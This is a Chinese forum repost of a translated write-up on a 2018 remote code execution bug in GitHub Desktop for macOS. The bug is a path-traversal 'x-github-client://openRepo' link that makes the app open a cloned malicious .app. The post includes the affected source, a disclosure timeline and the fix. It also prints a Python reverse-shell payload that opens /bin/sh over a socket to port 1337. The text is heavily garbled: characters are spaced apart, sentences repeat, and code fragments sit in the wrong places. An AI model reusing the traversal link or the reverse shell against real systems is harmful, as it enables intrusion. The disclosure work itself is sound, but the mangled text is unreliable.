搜索

[13726] 2019-02-02_GitHubDesktop在OSX系统下的RCE漏洞

文档创建者：s7ckTeam
浏览次数：16
最后更新：2025-01-18
2019-02-02_GitHubDesktop在OSX系统下的RCE漏洞 G i t H u b   D e s k t o p 在 O S X 系 统 下 的 R C E 漏 洞 c l o u d s   F r e e B u f   2 0 1 9 - 0 2 - 0 2 2 0 1 8 年 ， 我 有 幸 年 ， 我 有 幸 受 邀 参 加 了 受 邀 参 加 了 H a c k e r O n e 在 赌 城 拉 斯 维 加 斯 举 办 的 ， 赏 金 超 过 在 赌 城 拉 斯 维 加 斯 举 办 的 ， 赏 金 超 过 5 0 万 美 金 的 万 美 金 的 H 1 - 7 0 2 黑 客 马 拉 松 大 赛 。 本 次 大 赛 的 测 黑 客 马 拉 松 大 赛 。 本 次 大 赛 的 测 试 目 标 包 括 试 目 标 包 括 G i t H u b ， 对 我 个 人 来 说 ， 我 平 时 喜 欢 对 一 些 常 用 软 件 开 展 漏 洞 挖 掘 ， 有 了 这 个 基 础 ， 我 就 把 ， 对 我 个 人 来 说 ， 我 平 时 喜 欢 对 一 些 常 用 软 件 开 展 漏 洞 挖 掘 ， 有 了 这 个 基 础 ， 我 就 把 G i t H u b 定 为 这 次 比 赛 中 我 的 测 试 对 象 。 最 终 ， 我 发 现 了 定 为 这 次 比 赛 中 我 的 测 试 对 象 。 最 终 ， 我 发 现 了 G i t H u b   D e s k t o p 程 序 在 程 序 在 O S X 系 统 下 的 一 个 远 程 代 码 执 行 系 统 下 的 一 个 远 程 代 码 执 行 （ （ R C E ） 漏 洞 ， 但 却 被 认 定 为 超 出 测 试 范 围 ！ 好 在 ， ） 漏 洞 ， 但 却 被 认 定 为 超 出 测 试 范 围 ！ 好 在 ， G i t H u b 众 测 项 目 中 有 这 么 一 句 众 测 项 目 中 有 这 么 一 句 ” 偶 尔 ， 我 们 会 根 据 具 体 情 偶 尔 ， 我 们 会 根 据 具 体 情 况 酌 情 奖 励 一 些 例 外 的 漏 洞 报 告 况 酌 情 奖 励 一 些 例 外 的 漏 洞 报 告 “ ， 我 也 获 得 了 ， 我 也 获 得 了 G i t H u b 官 方 的 不 菲 赏 金 。 官 方 的 不 菲 赏 金 。 漏 洞 发 现 漏 洞 发 现 我 们 可 以 在 G i t H u b 官 方 的 漏 洞 致 谢 榜   -   h t t p s : / / b o u n t y . g i t h u b . c o m /   来 查 看 一 些 已 经 发 现 并 作 过 披 露 的 漏 洞 ， 我 注 意 到 ， 其 中 有 一 外 名 为 @ z h u o w e i   的 安 全 研 究 员 ， 在 2 0 1 7 年 发 现 并 上 报 过 一 个 G i t H u b   D e s k t o p 相 关 的 远 程 代 码 执 行 （ R C E ） 漏 洞 ： 如 果 有 类 似 的 漏 洞 发 现 ， 可 以 肯 定 的 说 ， 它 已 经 被 修 复 了 。 但 是 不 是 针 对 每 种 操 作 系 统 都 做 了 修 复 了 呢 ？ 好 吧 ， 大 家 可 能 也 见 过 这 种 情 况 ：
有 了 上 述 披 露 漏 洞 为 基 础 ， 我 就 开 始 研 究 起 了 x - g i t h u b - c l i e n t : / / ， 这 是 G i t H u b   D e s k t o p 常 用 的 U R I 机 制 ， 它 支 持 的 一 种 操 作 是 o p e n R e p o ， 它 可 以 自 动 打 开 某 个 存 储 库 （ r e p o s i t o r y ） 中 的 指 定 文 件 。 如 果 该 库 在 当 前 G i t H u b   D e s k t o p 中 不 存 在 ， 程 序 会 提 示 用 户 进 行 克 隆 （ C l o n e ） 后 再 打 开 文 件 ， 如 下 ： x - g i t h u b - c l i e n t : / / o p e n R e p o / h t t p s : / / g i t h u b . c o m / g i t h u b / t r a i n i n g - k i t ? b r a n c h = m a s t e r & f i l e p a t h = R E A D M E . m d 如 果 我 们 构 造 的 文 件 路 径 参 数 如 下 会 怎 样 呢 ： " . . / . . / . . / . . / . . / . . / . . / . . / . . / . . / . . / A p p l i c a t i o n s / C a l c u l a t o r . a p p "   ? 这 样 的 U R L 路 径 将 会 打 开 系 统 的 计 算 器 程 序 ， 这 样 一 来 ， 就 能 摆 脱 出 存 储 库 （ r e p o s i t o r y ） 目 录 ， 在 文 件 系 统 中 执 行 或 打 开 任 意 程 序 或 文 件 。 然 而 ， 由 于 存 储 库 （ r e p o s i t o r y ） 中 包 含 了 针 对 O S X 系 统 的 应 用 a p p ， 这 种 应 用 a p p 是 一 种 特 定 的 包 目 录 格 式 。 所 以 ， 我 首 先 想 到 的 就 是 ， O S X 系 统 对 这 种 应 用 a p p 从 互 联 网 上 下 载 且 存 在 的 检 测 机 制 ， 由 于 a p p 应 用 是 通 过 G i t 克 隆 的 ， 操 作 系 统 不 会 提 示 用 户 确 认 此 操 作 。 那 么 ， G i t H u b   D e s k t o p 是 如 何 来 实 现 这 种 a p p 应 用 的 下 载 呢 ， 其 中 的 根 本 机 制 是 什 么 呢 ？ 我 们 先 来 看 看 G i t H u b   D e s k t o p 的 以 下 两 个 源 码 ： 原 来 在 在 O S X 系 统 中 ， 系 统 文 件 目 录 路 径 被 转 换 成 了 f i l e : / / /   的 U R L 来 打 开 ， 而 且 G i t H u b   D e s k t o p 还 默 认 应 用 了 E l e c t r o n 前 端 框 架 的 s h e l l . o p e n E x t e r n a l ( ) 函 数 来 打 开 U R L 。 P O C 有 了 以 上 的 发 现 ， 我 尝 试 着 来 进 行 编 写 漏 洞 利 用 代 码 ， 我 用 P y i n s t a l l e r 的 P y t h o n 方 式 构 造 了 一 个 反 弹 s h e l l ， 并 把 它 托 管 在 我 G i t h u b 上 名 为 g i t h u b - d e s k t o p - p o c 的 库 中 ， 其 中 ， 主 要 的 漏 洞 利 用 脚 本 r c e . p y 为 以 下 代 码 ， 它 触 发 了 目 标 系 统 计 算 a p p / s r c / m a i n - p r o c e s s / m a i n . t s . . . i p c M a i n . o n (         ' s h o w - i t e m - i n - f o l d e r ' ,         ( e v e n t :   E l e c t r o n . I p c M e s s a g e E v e n t ,   {   p a t h   } :   {   p a t h :   s t r i n g   } )   = >   {                 . . .                 i f   ( s t a t s . i s D i r e c t o r y ( ) )   {                         o p e n D i r e c t o r y S a f e ( p a t h )                 }                 e l s e   {                         s h e l l . s h o w I t e m I n F o l d e r ( p a t h )         } . . . a p p / s r c / m a i n - p r o c e s s / s h e l l . t s i m p o r t   {   s h e l l   }   f r o m   ' e l e c t r o n ' ; e x p o r t   f u n c t i o n   o p e n D i r e c t o r y S a f e ( p a t h :   s t r i n g )   {     i f   ( _ _ D A R W I N _ _ )   {         c o n s t   d i r e c t o r y U R L   =   U r l . f o r m a t ( {             p a t h n a m e :   p a t h ,             p r o t o c o l :   ' f i l e : ' ,             s l a s h e s :   t r u e ,         } )         s h e l l . o p e n E x t e r n a l ( d i r e c t o r y U R L )     }   e l s e   {         s h e l l . o p e n I t e m ( p a t h )     } }
器 ， 连 接 目 标 系 统 1 3 3 7 端 口 ， 然 后 打 开 目 标 系 统 目 录 ： 如 果 此 前 G i t H u b   D e s k t o p 中 没 有 克 隆 过   g i t h u b - d e s k t o p - p o c   这 个 库 ， 那 么 在 接 下 来 的 步 骤 中 需 要 点 击 出 现 的 C l o n e 按 钮 ， 进 行 克 隆 ， 在 进 行 这 个 操 作 行 为 时 ， 我 们 构 造 在 库 中 的 特 定 P a y l o a d 文 件 就 会 被 间 接 请 求 执 行 了 ； 如 果 此 前 G i t H u b D e s k t o p 中 克 隆 过   g i t h u b - d e s k t o p - p o c   这 个 库 ， 那 么 ， 最 终 的 漏 洞 利 用 完 全 无 需 与 用 户 交 互 ， 就 能 实 现 攻 击 ， 如 视 频 的 后 半 部 份 演 示 那 样 。 攻 击 场 景 为 ： 攻 击 者 可 以 在 他 自 己 的 G i t h u b 库 中 托 管 一 个 O S X   a p p ， 然 后 在 这 个 a p p 中 构 造 进 入 一 个 恶 意 链 接 ， 如 在 一 些 特 定 项 目 或 R E A D M E . m d 文 件 中 ， 然 后 ， 按 照 上 述 漏 洞 利 用 方 法 ， 就 能 针 对 安 装 有 G i t H u b   D e s k t o p 的 目 标 O S X 系 统 实 现 远 程 代 码 执 行 了 。 这 种 一 键 式 的 R C E 攻 击 需 要 具 备 以 下 要 求 ： O S X 系 统 的 G i t H u b   D e s k t o p 克 隆 过 恶 意 库 ；   信 任 G i t H u b   D e s k t o p   U R L s ， 并 能 总 能 打 开 恶 意 a p p 中 相 关 的 各 种 类 型 U R L 链 接 。 漏 洞 修 复 漏 洞 修 复 G i t h u b 官 方 的 修 复 非 常 简 单 ， 也 就 是 在 上 述 提 到 的 a p p / s r c / m a i n - p r o c e s s / m a i n . t s 中 ， 添 加 了 一 行 代 码 ： i f ( ! D A R W I N   & &   s t a t s . i s D i r e c t o r y ( ) )   ， 以 此 来 判 断 不 是 O S X 系 统 ， 最 终 代 码 才 能 往 下 执 行 （ D A R W I N 为 苹 果 开 放 源 代 码 操 作 系 统 的 简 称 ） ： i m p o r t   s o c k e t , s u b p r o c e s s , o s ; o s . s y s t e m ( " o p e n   - a   c a l c u l a t o r . a p p " ) s = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T , s o c k e t . S O C K _ S T R E A M ) ; s . c o n n e c t ( ( " l o c a l h o s t " , 1 3 3 7 ) ) ; o s . d u p 2 ( s . f i l e n o ( ) , 0 ) ; o s . d u p 2 ( s . f i l e n o ( ) , 1 ) ; o s . d u p 2 ( s . f i l e n o ( ) , 2 ) ; p = s u b p r o c e s s . c a l l ( [ " / b i n / s h " , " - i " ] ) ;
漏 洞 上 报 进 程 漏 洞 上 报 进 程 2 0 1 8 / 0 8 / 1 9       以 H a c k e r O n e   漏 洞 编 号 3 9 7 0 4 5 上 报 到 G i t H u b 官 方 2 0 1 8 / 0 8 / 2 0     漏 洞 分 类 2 0 1 8 / 0 8 / 2 5     漏 洞 修 复   并 发 布 G i t H u b   D e s k t o p   v 1 . 3 . 4 版 本 2 0 1 8 / 0 8 / 2 7     报 告 关 闭 并 获 得 赏 金 2 0 1 8 / 0 8 / 2 7     获 得 H 1 - 7 0 2 赛 事 方 的 额 外 奖 励   无 限 G i t H u b 个 人 存 储 库 的 优 惠 券 * 参 考 来 源 ： 参 考 来 源 ： p w n i n g ， ， c l o u d s 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理